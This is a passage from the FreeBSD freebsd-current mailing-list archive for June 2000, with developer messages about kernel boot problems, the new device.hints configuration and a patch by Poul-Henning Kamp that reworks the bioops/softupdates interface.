uAMA301isSk6lCjHqnQhMd9VOZdg1CDCxTMioBZlhsjVCYrg1EM1LOekV36BpuBK 6KjOIKK6KBbH9nQlSiLiIuI4iRlg+FidRLm8ag2dUO4PGJfvAcsBo6qG5a8S/Qrl hCh7wYgIO0uW9LERWPomLZbdm4M0RKmuhelJ7KHvRzAl+h4+gAWxlbHUqiIvoJA6 W1udxmV+hZfVcUIi8dCuLuLMd+gbmAcTxRIai9C9LaM7EstsUwQ6EYDpg8wDXoTE Feh4RJzEZ2eiLKgdCEbSYiWyNfTYy3SpUCVL6yrqoFHTBqmB9MhCEOoRX2mEbnPq 2+iHSoHQhmEdKGb+ljmDW/oG+pCfD0b+q9HU19f/2gAIAQMDAT8Q61K9Z6GPQ9BH 0P0Q6HR6kep0Oj0PoHoY/QPqHproeolf/Cw9R6T11AdFZXoZpldDow6X9CoSulep L6bj0Ix6V6Q6B0aFJSOelLidTodQ6B0C4JbiL7IKU6GLZVE6klXBT6DqQL6OqIGm 4L51Ko6B9GLo0dDgxrniCyJ0uHUgQmR7JdjoEqsIuLCNxkZ6p9kba6xVR6kCEDeJ XKhFGF1cqyMCCJ02EFYdQViWzAKjfoPQW1KSHR7IEZJh10YCHSwm3RWUxz7xeYOT cZXSpp0uggQLlJG0ASmb1L61kXpcy4S6a6LTOQXeUOYOjcGWVBEUtNy+3SxYljTA hCFssdDGMGFQbLm3XV0YUmLhCqCWRJuXcTFRsw4iQxmM7elR65qmldTh1SDbpjqK 8MHGY4Yt9GLKWoqs9KUQ2wU9d5k9RR0IwBUfUAlx6zLAM5YBtACCsssZb0VEhtg6 C0JvoHSutxYrgm8YEq8QXuVYR6DG0CaQLIIbddBZ6KldKldWB79NptqDURVQovXU W5couLPQ7dBgxgxlypdTt0OguYkxKIGem3oEQ9MC9K9IVFqWD0NxvE24ixiE5R3K auXKhLGoLMXSgOtyonWtddpwmYJzuHDGNQjOVrsirxLa6VuAzuM1kISul9GLL2uo VxN7mMqOVkCswzO5EZuWvZBG2IUNw3OPJ4TkQNI9SySLbfRFRBPmMe0YbYCLUE3F tKohuqhd4iDZufw+4Ka6jUFvMt2iIjvqjqUa5gqVXRYaJSsB9png4nliijPTxgwU /oo8QjXETVsLMd9HIy4KLhuKjDfpHI/QdUQhRAXFtlVO6bYsE6DBbixLDfoOB9au odXMaEqowggVDiMYztRTmX7xqRZr0ZPp46G2uAGoUSyNi5jIO0mBFxV9AslL0WIi NDF+IBtmkOq9GDMGMxFUrvpqjHpcWXK6xRcW2ZMRT9W4xWXF6LBI66voL2Po31ei 9IZ8dBNPSEGtTeN8/QejGM+fo1+gOZu16mf/2f8= --ppidapcreafgdbhs-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 17:34:21 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns.cvzoom.net (ns.cvzoom.net [208.226.154.2]) by hub.freebsd.org (Postfix) with SMTP id D20C437C2E7 for ; Fri, 16 Jun 2000 17:34:12 -0700 (PDT) (envelope-from dmmiller@cvzoom.net) Received: (qmail 5445 invoked from network); 17 Jun 2000 00:34:06 -0000 Received: from lc210.cvzoom.net (HELO cvzoom.net) (208.226.154.210) by ns.cvzoom.net with SMTP; 17 Jun 2000 00:34:06 -0000 Message-ID: <394AC77E.88FB7D90@cvzoom.net> Date: Fri, 16 Jun 2000 20:34:06 -0400 From: Donn Miller X-Mailer: Mozilla 4.73 [en] (X11; I; FreeBSD 5.0-CURRENT i386) X-Accept-Language: en MIME-Version: 1.0 To: Wes Morgan Cc: current@freebsd.org Subject: Re: -current kernel broken? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Wes Morgan wrote: > > As of about 7pm EDT I can't boot a -current kernel. I _can_ boot a kernel > from the 13th I snagged from a snapshot kernel disk, and I can boot the > snapshot from the 15th (but since userconfig does not work the lnc device > spams so many error messages the system never reaches a prompt). > > Already did the make clean depend all install for /sys/boot/i386 and that > was no help. The kernel just freezes _right_ after trying to boot... I'm > not sure how far its getting, I'll have to play around with a debug kernel > and see what I can get from it (if anything). I saw this as well. It turns out the optimizations I was using when building my kernel was causing it. I was using -march=pentium -Os -pipe. Falling back to -O -pipe solved this. - Donn To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 17:37:57 2000 Delivered-To: freebsd-current@freebsd.org Received: from overcee.netplex.com.au (peter1.corp.yahoo.com [208.48.107.4]) by hub.freebsd.org (Postfix) with ESMTP id 8529E37C3F5 for ; Fri, 16 Jun 2000 17:37:44 -0700 (PDT) (envelope-from peter@netplex.com.au) Received: from netplex.com.au (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id ECD471CD7; Fri, 16 Jun 2000 17:37:40 -0700 (PDT) (envelope-from peter@netplex.com.au) X-Mailer: exmh version 2.1.1 10/15/1999 To: Chia-liang Kao Cc: current@FreeBSD.ORG Subject: Re: HEADS UP!: config changes... In-Reply-To: Message from Chia-liang Kao of "Sat, 17 Jun 2000 04:34:59 +0800." <20000617043459.A9221@genius.cirx.org> Date: Fri, 16 Jun 2000 17:37:40 -0700 From: Peter Wemm Message-Id: <20000617003740.ECD471CD7@overcee.netplex.com.au> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Chia-liang Kao wrote: > Hi, > > Is there anyway to put the device.hint stuff into kernel nevertheless? > My diskless box fetches the kernel would know nothing about things reside > in device.hint. That is what the hints directive is for. you could create a file "diskless.hints" and add the line to your config file: hints "/wherever/diskless.hints" and the contents of that file would be statically compiled in. You can still override them at boot time if you wish, but the basic set will be there. This is what GENERIC does right now. It compiles GENERIC.hints straight in. (see hints.c in compile/YOURKERNEL) Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 17:40:23 2000 Delivered-To: freebsd-current@freebsd.org Received: from beastie.mckusick.com (beastie.mckusick.com [209.31.233.184]) by hub.freebsd.org (Postfix) with ESMTP id AAF6937C2AB; Fri, 16 Jun 2000 17:40:06 -0700 (PDT) (envelope-from mckusick@mckusick.com) Received: from beastie.mckusick.com (localhost [127.0.0.1]) by beastie.mckusick.com (8.9.3/8.9.3) with ESMTP id RAA07992; Fri, 16 Jun 2000 17:19:23 -0700 (PDT) (envelope-from mckusick@beastie.mckusick.com) Message-Id: <200006170019.RAA07992@beastie.mckusick.com> To: Poul-Henning Kamp Subject: Re: bioops Cc: current@FreeBSD.ORG, dg@root.com In-Reply-To: Your message of "Wed, 14 Jun 2000 13:30:42 PDT." <200006142030.NAA06621@implode.root.com> Date: Fri, 16 Jun 2000 17:19:23 -0700 From: Kirk McKusick Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG To: current@FreeBSD.ORG Subject: HEADSUP: bioops patch. From: Poul-Henning Kamp Date: Wed, 14 Jun 2000 22:29:32 +0200 This patch virtualizes & untangles the bioops operations vector. Background: The bioops operation vector is a list of OO-like operations which can be performed on struct buf. They are used by the softupdates code to handle dependencies. Ideally struct buf should have had a real OO like operations vector like vnodes have it, and struct bioops is the first step towards that. One of the reasons we should have OO-like struct buf, is that as long as bwrite(bp) "knows" that the buffer is backed by a disk device, we cannot use the UFS layer on top of a storage manager which isn't based on disk-devices: When UFS modifies a directory inode, it will call bwrite(bp) on the buffer with the data. This would not work if the backing were based on malloc(9) or anonymous swap-backed VM objects for instance. In other words: this is the main reason why we don't have a decent tmpfs in FreeBSD. Instead of just assuming that it works on a disk, bwrite(bp) should do a "bp->b_ops->bwrite(bp)" so that each buffer could have its own private idea of how to write itself, depending on what backing it has. So in order to move bioops closer to become a bp->b_ops, this patch takes two entries out of bioops: the "sync" and the "fsync" items and virtualizes the rest of the elements a bit. The "sync" item is called only from the syncer, and is a call to the softupdates code to do what it needs to do for periodic syncing. The real way of doing that would be to have an event-handler for this since other code could need to be part of the sync trafic, raid5 private parity caches could be one example. I have not done this yet, since currently softupdates is the only client. The fsync item really doesn't belong in the fsync system call, it belongs in ffs_fsync, and has been moved there. If it had been possible to put the fsync call in ffs_fsync, I would have done that. Unfortunately, it is not possible and will hang or panic the kernel if you put it there. The problem is that ffs_fsync syncs out the data blocks of the associated file. The bioops call to soft updates requests that any names associated with the file being sync'ed be sync'ed to disk as well. That is a necessary semantic of the system call fsync. However, it is not needed by most clients of VOP_FSYNC. Because the sync'ing of the name requires a walk up the filesystem tree from the inode in question to the root of the filesystem, the locking protocol requires that the nodes lower in the tree be unlocked before locking nodes that are higher. This means that the vnode being fsync'ed must be briefly unlocked while its containing parent is locked. If the vnode being fsync'ed is a directory, this creates a window where another process can sneak in and make changes which leads to the panics, two entries with the same name, etc. This window is not a problem for the fsync call because it is not creating a new name, but it is a problem if VOP_FSYNC is called in the open, link, mkdir, etc paths (as it will be in for example if a block allocation fails due to the filesystem being full. Thus there are two choices: put the code back as it was or chance the VOP_FSYNC call interface to add a flags value that indicates whether the name needs to be syned out as well as the data. I chose the former as I did not want to disrupt a widely used interface. To give the right behaviour when SOFTUPDATES is not compiled in, stubs for both of these functions have been added to ffs_softdep_stub.c Finally all the checks to see if the bioops vector is populated has been centralized in in-line functions in thereby paving the road for the global bioops to become bp->b_ops. Comments, reviews, tests please Poul-Henning Index: contrib/softupdates/ffs_softdep.c =================================================================== RCS file: /home/ncvs/src/sys/contrib/softupdates/ffs_softdep.c,v retrieving revision 1.64 diff -u -r1.64 ffs_softdep.c --- contrib/softupdates/ffs_softdep.c 2000/05/26 02:01:59 1.64 +++ contrib/softupdates/ffs_softdep.c 2000/06/14 19:26:46 @@ -222,8 +222,6 @@ softdep_disk_io_initiation, /* io_start */ softdep_disk_write_complete, /* io_complete */ softdep_deallocate_dependencies, /* io_deallocate */ - softdep_fsync, /* io_fsync */ - softdep_process_worklist, /* io_sync */ softdep_move_dependencies, /* io_movedeps */ softdep_count_dependencies, /* io_countdeps */ }; Index: kern/vfs_bio.c =================================================================== RCS file: /home/ncvs/src/sys/kern/vfs_bio.c,v retrieving revision 1.258 diff -u -r1.258 vfs_bio.c --- kern/vfs_bio.c 2000/05/26 02:04:39 1.258 +++ kern/vfs_bio.c 2000/06/14 19:00:56 @@ -616,8 +616,8 @@ newbp->b_flags &= ~B_INVAL; /* move over the dependencies */ - if (LIST_FIRST(&bp->b_dep) != NULL && bioops.io_movedeps) - (*bioops.io_movedeps)(bp, newbp); + if (LIST_FIRST(&bp->b_dep) != NULL) + buf_movedeps(bp, newbp); /* * Initiate write on the copy, release the original to @@ -673,10 +673,10 @@ /* * Process dependencies then return any unfinished ones. */ - if (LIST_FIRST(&bp->b_dep) != NULL && bioops.io_complete) - (*bioops.io_complete)(bp); - if (LIST_FIRST(&bp->b_dep) != NULL && bioops.io_movedeps) - (*bioops.io_movedeps)(bp, origbp); + if (LIST_FIRST(&bp->b_dep) != NULL) + buf_complete(bp); + if (LIST_FIRST(&bp->b_dep) != NULL) + buf_movedeps(bp, origbp); /* * Clear the BX_BKGRDINPROG flag in the original buffer * and awaken it if it is waiting for the write to complete. @@ -939,8 +939,8 @@ * cache the buffer. */ bp->b_flags |= B_INVAL; - if (LIST_FIRST(&bp->b_dep) != NULL && bioops.io_deallocate) - (*bioops.io_deallocate)(bp); + if (LIST_FIRST(&bp->b_dep) != NULL) + buf_deallocate(bp); if (bp->b_flags & B_DELWRI) { --numdirtybuffers; numdirtywakeup(); @@ -1570,8 +1570,8 @@ crfree(bp->b_wcred); bp->b_wcred = NOCRED; } - if (LIST_FIRST(&bp->b_dep) != NULL && bioops.io_deallocate) - (*bioops.io_deallocate)(bp); + if (LIST_FIRST(&bp->b_dep) != NULL) + buf_deallocate(bp); if (bp->b_xflags & BX_BKGRDINPROG) panic("losing buffer 3"); LIST_REMOVE(bp, b_hash); @@ -1848,9 +1848,8 @@ break; } if (LIST_FIRST(&bp->b_dep) != NULL && - bioops.io_countdeps && (bp->b_flags & B_DEFERRED) == 0 && - (*bioops.io_countdeps)(bp, 0)) { + buf_countdeps(bp, 0)) { TAILQ_REMOVE(&bufqueues[QUEUE_DIRTY], bp, b_freelist); TAILQ_INSERT_TAIL(&bufqueues[QUEUE_DIRTY], @@ -2664,8 +2663,8 @@ splx(s); return; } - if (LIST_FIRST(&bp->b_dep) != NULL && bioops.io_complete) - (*bioops.io_complete)(bp); + if (LIST_FIRST(&bp->b_dep) != NULL) + buf_complete(bp); if (bp->b_flags & B_VMIO) { int i, resid; Index: kern/vfs_cluster.c =================================================================== RCS file: /home/ncvs/src/sys/kern/vfs_cluster.c,v retrieving revision 1.98 diff -u -r1.98 vfs_cluster.c --- kern/vfs_cluster.c 2000/05/05 09:58:25 1.98 +++ kern/vfs_cluster.c 2000/06/14 19:01:13 @@ -805,9 +805,8 @@ splx(s); } /* end of code for non-first buffers only */ /* check for latent dependencies to be handled */ - if ((LIST_FIRST(&tbp->b_dep)) != NULL && - bioops.io_start) - (*bioops.io_start)(tbp); + if ((LIST_FIRST(&tbp->b_dep)) != NULL) + buf_start(tbp); /* * If the IO is via the VM then we do some * special VM hackery. (yuck) Index: kern/vfs_subr.c =================================================================== RCS file: /home/ncvs/src/sys/kern/vfs_subr.c,v retrieving revision 1.257 diff -u -r1.257 vfs_subr.c --- kern/vfs_subr.c 2000/05/26 02:04:39 1.257 +++ kern/vfs_subr.c 2000/06/14 19:56:33 @@ -1029,8 +1029,7 @@ /* * Do soft update processing. */ - if (bioops.io_sync) - (*bioops.io_sync)(NULL); + softdep_process_worklist(NULL); /* * The variable rushjob allows the kernel to speed up the Index: kern/vfs_syscalls.c =================================================================== RCS file: /home/ncvs/src/sys/kern/vfs_syscalls.c,v retrieving revision 1.153 diff -u -r1.153 vfs_syscalls.c --- kern/vfs_syscalls.c 2000/05/05 09:58:27 1.153 +++ kern/vfs_syscalls.c 2000/06/14 19:38:24 @@ -2545,10 +2545,7 @@ vn_lock(vp, LK_EXCLUSIVE | LK_RETRY, p); if (vp->v_object) vm_object_page_clean(vp->v_object, 0, 0, 0); - if ((error = VOP_FSYNC(vp, fp->f_cred, MNT_WAIT, p)) == 0 && - vp->v_mount && (vp->v_mount->mnt_flag & MNT_SOFTDEP) && - bioops.io_fsync) - error = (*bioops.io_fsync)(vp); + error = VOP_FSYNC(vp, fp->f_cred, MNT_WAIT, p); VOP_UNLOCK(vp, 0, p); return (error); } Index: miscfs/devfs/devfs_vnops.c =================================================================== RCS file: /home/ncvs/src/sys/miscfs/devfs/devfs_vnops.c,v retrieving revision 1.96 diff -u -r1.96 devfs_vnops.c --- miscfs/devfs/devfs_vnops.c 2000/05/05 09:58:29 1.96 +++ miscfs/devfs/devfs_vnops.c 2000/06/14 19:02:35 @@ -1570,9 +1570,8 @@ return error; - if ((bp->b_iocmd == BIO_WRITE) && - (LIST_FIRST(&bp->b_dep)) != NULL && bioops.io_start) - (*bioops.io_start)(bp); + if ((bp->b_iocmd == BIO_WRITE) && (LIST_FIRST(&bp->b_dep)) != NULL) + buf_start(bp); switch (vp->v_type) { case VCHR: (*vp->v_rdev->si_devsw->d_strategy)(&bp->b_io); Index: miscfs/specfs/spec_vnops.c =================================================================== RCS file: /home/ncvs/src/sys/miscfs/specfs/spec_vnops.c,v retrieving revision 1.138 diff -u -r1.138 spec_vnops.c --- miscfs/specfs/spec_vnops.c 2000/06/12 10:20:18 1.138 +++ miscfs/specfs/spec_vnops.c 2000/06/14 19:02:49 @@ -417,9 +417,8 @@ struct mount *mp; bp = ap->a_bp; - if ((bp->b_iocmd == BIO_WRITE) && - (LIST_FIRST(&bp->b_dep)) != NULL && bioops.io_start) - (*bioops.io_start)(bp); + if ((bp->b_iocmd == BIO_WRITE) && (LIST_FIRST(&bp->b_dep)) != NULL) + buf_start(bp); /* * Collect statistics on synchronous and asynchronous read Index: sys/buf.h =================================================================== RCS file: /home/ncvs/src/sys/sys/buf.h,v retrieving revision 1.103 diff -u -r1.103 buf.h --- sys/buf.h 2000/05/26 02:06:53 1.103 +++ sys/buf.h 2000/06/14 19:26:59 @@ -64,8 +64,6 @@ void (*io_start) __P((struct buf *)); void (*io_complete) __P((struct buf *)); void (*io_deallocate) __P((struct buf *)); - int (*io_fsync) __P((struct vnode *)); - int (*io_sync) __P((struct mount *)); void (*io_movedeps) __P((struct buf *, struct buf *)); int (*io_countdeps) __P((struct buf *, int)); } bioops; @@ -405,6 +403,43 @@ #define BUF_WRITE(bp) VOP_BWRITE((bp)->b_vp, (bp)) #define BUF_STRATEGY(bp) VOP_STRATEGY((bp)->b_vp, (bp)) + +static __inline void +buf_start(struct buf *bp) +{ + if (bioops.io_start) + (*bioops.io_start)(bp); +} + +static __inline void +buf_complete(struct buf *bp) +{ + if (bioops.io_complete) + (*bioops.io_complete)(bp); +} + +static __inline void +buf_deallocate(struct buf *bp) +{ + if (bioops.io_deallocate) + (*bioops.io_deallocate)(bp); +} + +static __inline void +buf_movedeps(struct buf *bp, struct buf *bp2) +{ + if (bioops.io_movedeps) + (*bioops.io_movedeps)(bp, bp2); +} + +static __inline int +buf_countdeps(struct buf *bp, int i) +{ + if (bioops.io_countdeps) + return ((*bioops.io_countdeps)(bp, i)); + else + return (0); +} #endif /* _KERNEL */ Index: sys/mount.h =================================================================== RCS file: /home/ncvs/src/sys/sys/mount.h,v retrieving revision 1.91 diff -u -r1.91 mount.h --- sys/mount.h 2000/05/26 02:06:55 1.91 +++ sys/mount.h 2000/06/14 19:58:22 @@ -447,6 +447,7 @@ int vfs_stdextattrctl __P((struct mount *mp, int cmd, const char *attrname, caddr_t arg, struct proc *p)); +void softdep_process_worklist __P((struct mount *)); #else /* !_KERNEL */ #include Index: ufs/ffs/ffs_softdep_stub.c =================================================================== RCS file: /home/ncvs/src/sys/ufs/ffs/ffs_softdep_stub.c,v retrieving revision 1.8 diff -u -r1.8 ffs_softdep_stub.c --- ufs/ffs/ffs_softdep_stub.c 2000/04/19 14:58:25 1.8 +++ ufs/ffs/ffs_softdep_stub.c 2000/06/14 19:33:11 @@ -254,4 +254,20 @@ return (0); } + +int +softdep_fsync(vp) + struct vnode *vp; /* the "in_core" copy of the inode */ +{ + + return (0); +} + +int +softdep_process_worklist(matchmnt) + struct mount *matchmnt; +{ + return (0); +} + #endif /* SOFTUPDATES not configured in */ Index: ufs/ffs/ffs_vnops.c =================================================================== RCS file: /home/ncvs/src/sys/ufs/ffs/ffs_vnops.c,v retrieving revision 1.66 diff -u -r1.66 ffs_vnops.c --- ufs/ffs/ffs_vnops.c 2000/05/05 09:59:05 1.66 +++ ufs/ffs/ffs_vnops.c 2000/06/14 19:38:13 @@ -175,7 +175,7 @@ continue; if (!wait && LIST_FIRST(&bp->b_dep) != NULL && (bp->b_flags & B_DEFERRED) == 0 && - bioops.io_countdeps && (*bioops.io_countdeps)(bp, 0)) { + buf_countdeps(bp, 0)) { bp->b_flags |= B_DEFERRED; continue; } @@ -278,5 +278,8 @@ } } splx(s); - return (UFS_UPDATE(vp, wait)); + error = UFS_UPDATE(vp, wait); + if (error == 0 && vp->v_mount && (vp->v_mount->mnt_flag & MNT_SOFTDEP)) + error = softdep_fsync(vp); + return (error); } -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message ------- End of Forwarded Message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 17:42:59 2000 Delivered-To: freebsd-current@freebsd.org Received: from overcee.netplex.com.au (peter1.corp.yahoo.com [208.48.107.4]) by hub.freebsd.org (Postfix) with ESMTP id 1821837C125 for ; Fri, 16 Jun 2000 17:42:49 -0700 (PDT) (envelope-from peter@netplex.com.au) Received: from netplex.com.au (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id DCA6B1CD7; Fri, 16 Jun 2000 17:42:46 -0700 (PDT) (envelope-from peter@netplex.com.au) X-Mailer: exmh version 2.1.1 10/15/1999 To: "Daniel C. Sobral" Cc: "Jordan K. Hubbard" , current@FreeBSD.ORG Subject: Re: GENERIC from today does not detect system console on my box In-Reply-To: Message from "Daniel C. Sobral" of "Sat, 17 Jun 2000 07:50:07 +0900." <394AAF1F.9686E978@newsguy.com> Date: Fri, 16 Jun 2000 17:42:46 -0700 From: Peter Wemm Message-Id: <20000617004246.DCA6B1CD7@overcee.netplex.com.au> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Daniel C. Sobral" wrote: > "Jordan K. Hubbard" wrote: > > > > I tried booting a kernel this morning, just to see Peter's new > > "lean-n-mean" kernel config format in action, and I turned my > > workstation into a headless server in the process. :-) > > > > Most notably, these former entries were now missing from my dmesg > > output when I logged in remotely and poked around: > > > > atkbdc0: at port 0x60,0x64 on isa0 > > atkbd0: irq 1 on atkbdc0 > > psm0: irq 12 on atkbdc0 > > psm0: model Generic PS/2 mouse, device ID 0 > > vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 > > sc0: on isa0 > > I was just wondering what happens if no device.hints exists. It seems it > isn't installed by installkernel target, and the above are all part of > it. IMHO, the hints are a machine property, not a per-kernel property. Setting up a /boot/device.hints is (IMHO) a one-time task that never needs to be done more than once, and (again IMHO) the 'make install' had damn well better not mess with. This is especially important once kget(8) becomes the equivalent of 'kenv | grep '^hint' > /boot/device.hints' or something so that the userconfig.4th changes get saved for next time. Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 17:45:16 2000 Delivered-To: freebsd-current@freebsd.org Received: from overcee.netplex.com.au (peter1.corp.yahoo.com [208.48.107.4]) by hub.freebsd.org (Postfix) with ESMTP id D59FD37B533 for ; Fri, 16 Jun 2000 17:45:13 -0700 (PDT) (envelope-from peter@netplex.com.au) Received: from netplex.com.au (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id B558A1CD7; Fri, 16 Jun 2000 17:44:57 -0700 (PDT) (envelope-from peter@netplex.com.au) X-Mailer: exmh version 2.1.1 10/15/1999 To: "Jordan K. Hubbard" Cc: van.woerkom@netcologne.de, current@FreeBSD.ORG Subject: Re: GENERIC from today does not detect system console on my box In-Reply-To: Message from "Jordan K. Hubbard" of "Fri, 16 Jun 2000 15:14:04 PDT." <1529.961193644@localhost> Date: Fri, 16 Jun 2000 17:44:57 -0700 From: Peter Wemm Message-Id: <20000617004457.B558A1CD7@overcee.netplex.com.au> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Jordan K. Hubbard" wrote: > > Did you ran the Perl skript to create the hints file and > > then change your KERNEL config like this? > > Yep! The Perl script generates no output and my kernel config file > matches the requirements perfectly. Though, if you'll read the > subject line again, you'll see I used GENERIC for my test anyway. :) Err.. how did you run it? 'perl < MYKERNEL'? If you run 'perl MYKERNEL' it will generate nothing because I was kinda lame and didn't know how to do argument parsing. :-] To be sure, next time you boot, press space to get into the loader and do a 'show' - you should see your hints in the environment. Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 18:30:44 2000 Delivered-To: freebsd-current@freebsd.org Received: from mta5.rcsntx.swbell.net (mta5.rcsntx.swbell.net [151.164.30.29]) by hub.freebsd.org (Postfix) with ESMTP id 33B1937C1E2 for ; Fri, 16 Jun 2000 18:30:38 -0700 (PDT) (envelope-from chris@holly.calldei.com) Received: from holly.calldei.com ([208.191.149.190]) by mta5.rcsntx.swbell.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with ESMTP id <0FW900N1NYUJ1Y@mta5.rcsntx.swbell.net> for current@FreeBSD.ORG; Fri, 16 Jun 2000 20:30:24 -0500 (CDT) Received: (from chris@localhost) by holly.calldei.com (8.9.3/8.9.3) id UAA05406; Fri, 16 Jun 2000 20:29:23 -0500 (CDT envelope-from chris) Date: Fri, 16 Jun 2000 20:29:22 -0500 From: Chris Costello Subject: Re: GENERIC from today does not detect system console on my box In-reply-to: <20000617004457.B558A1CD7@overcee.netplex.com.au> To: Peter Wemm Cc: "Jordan K. Hubbard" , van.woerkom@netcologne.de, current@FreeBSD.ORG Reply-To: chris@calldei.com Message-id: <20000616202921.D98160@holly.calldei.com> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii User-Agent: Mutt/0.96.4i References: <20000617004457.B558A1CD7@overcee.netplex.com.au> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Friday, June 16, 2000, Peter Wemm wrote: > Err.. how did you run it? 'perl < MYKERNEL'? If you run 'perl MYKERNEL' > it will generate nothing because I was kinda lame and didn't know how to do > argument parsing. :-] Couldn't have hurt to ask. while (defined($ARGV[0])) { # ... parse ... shift; } It'd work as perl script.pl arg1 arg2 ... or as ./script.pl arg1 arg2 ... (if +x). -- |Chris Costello |Computers are not intelligent. They only think they are. `--------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 19:47:22 2000 Delivered-To: freebsd-current@freebsd.org Received: from overcee.netplex.com.au (peter1.corp.yahoo.com [208.48.107.4]) by hub.freebsd.org (Postfix) with ESMTP id 5CFE737C1EF for ; Fri, 16 Jun 2000 19:47:19 -0700 (PDT) (envelope-from peter@netplex.com.au) Received: from netplex.com.au (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id 8BD3D1CE2; Fri, 16 Jun 2000 19:47:18 -0700 (PDT) (envelope-from peter@netplex.com.au) X-Mailer: exmh version 2.1.1 10/15/1999 To: chris@calldei.com Cc: "Jordan K. Hubbard" , van.woerkom@netcologne.de, current@FreeBSD.ORG Subject: Re: GENERIC from today does not detect system console on my box In-Reply-To: Message from Chris Costello of "Fri, 16 Jun 2000 20:29:22 CDT." <20000616202921.D98160@holly.calldei.com> Date: Fri, 16 Jun 2000 19:47:18 -0700 From: Peter Wemm Message-Id: <20000617024718.8BD3D1CE2@overcee.netplex.com.au> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Chris Costello wrote: > On Friday, June 16, 2000, Peter Wemm wrote: > > Err.. how did you run it? 'perl < MYKERNEL'? If you run 'perl MYKERNEL' > > it will generate nothing because I was kinda lame and didn't know how to do > > argument parsing. :-] > > Couldn't have hurt to ask. > > while (defined($ARGV[0])) { > # ... parse ... > shift; > } > > It'd work as perl script.pl arg1 arg2 ... or as ./script.pl > arg1 arg2 ... (if +x). How about that and as a stdin pipe as well if no args are specified? Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 20:12:44 2000 Delivered-To: freebsd-current@freebsd.org Received: from mta4.rcsntx.swbell.net (mta4.rcsntx.swbell.net [151.164.30.28]) by hub.freebsd.org (Postfix) with ESMTP id 8665537B726; Fri, 16 Jun 2000 20:12:38 -0700 (PDT) (envelope-from chris@holly.calldei.com) Received: from holly.calldei.com ([208.191.149.190]) by mta4.rcsntx.swbell.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with ESMTP id <0FWA00L2S3JYIM@mta4.rcsntx.swbell.net>; Fri, 16 Jun 2000 22:12:02 -0500 (CDT) Received: (from chris@localhost) by holly.calldei.com (8.9.3/8.9.3) id WAA05789; Fri, 16 Jun 2000 22:10:51 -0500 (CDT envelope-from chris) Date: Fri, 16 Jun 2000 22:10:50 -0500 From: Chris Costello Subject: Re: ports /work/ directory. In-reply-to: To: Will Mitayai Keeso Rowe Cc: freebsd-current@FreeBSD.ORG, FreeBSD-Stable , freebsd-ports@FreeBSD.ORG Reply-To: chris@calldei.com Message-id: <20000616221050.F98160@holly.calldei.com> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii User-Agent: Mutt/0.96.4i References: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Friday, June 16, 2000, Will Mitayai Keeso Rowe wrote: > I have 10 FreeBSD servers that are a mix of FreeBSD 2.2.8-STABLE, 3-STABLE, > and 4-STABLE. In the interests of saving disk space and bandwith, i have one > central file archive of ports, and the three stable branches, and i mount > those directories on all servers as required via amd. See this answer from the FreeBSD-Hackers archives. http://www.FreeBSD.org/cgi/getmsg.cgi?fetch=395447+398377+/usr/local/www/db/text/1999/freebsd-hackers/19991226.freebsd-hackers -- |Chris Costello |To iterate is human; to recurse, divine. `---------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 20:14:28 2000 Delivered-To: freebsd-current@freebsd.org 